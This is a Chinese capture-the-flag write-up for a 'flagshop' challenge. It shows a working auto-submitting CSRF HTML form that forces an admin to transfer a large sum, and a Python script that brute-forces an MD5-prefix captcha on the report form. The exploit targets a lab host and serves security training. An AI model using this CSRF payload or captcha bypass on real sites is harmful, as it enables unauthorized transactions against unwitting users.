[极客大挑战 2020]Roamphp6-flagshop

  1. 注册账号并登陆

  2. 发现可以购买Flag,但是余额不足

  3. 发现存在转账功能

  4. 发现可以提交报告,并且提示管理员会查看

  5. 猜测可能存在CSRF

  6. BP抓包转账数据,生成POC

image-20211005111415980

添加js自动提交:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://78fbbb19-2784-48e4-be35-5f8228f1dd85.node4.buuoj.cn:81/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="truda" />
      <input type="hidden" name="money" value="100000000000" />
      <input type="hidden" name="messages" value="6666" />
      <input type="submit" value="Submit request" />
    </form>
  <script language=javascript>
  setTimeout("document.forms[0].submit()",1000)
  </script>
 </body>
</html>
  1. 把POC部署到服务器上

  2. 提交报告验证码计算

md5($code)[0:5] == 01a2e

自动计算:

# -*- coding: UTF-8 -*-
import hashlib

def getMd5(index):
	for i in range(100000, 100000000):
		x = i
		md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
		if md5[0:5] == index:
			return x
print(getMd5("a368a"))
  1. 报告内容填POC地址

最后更新于

这有帮助吗?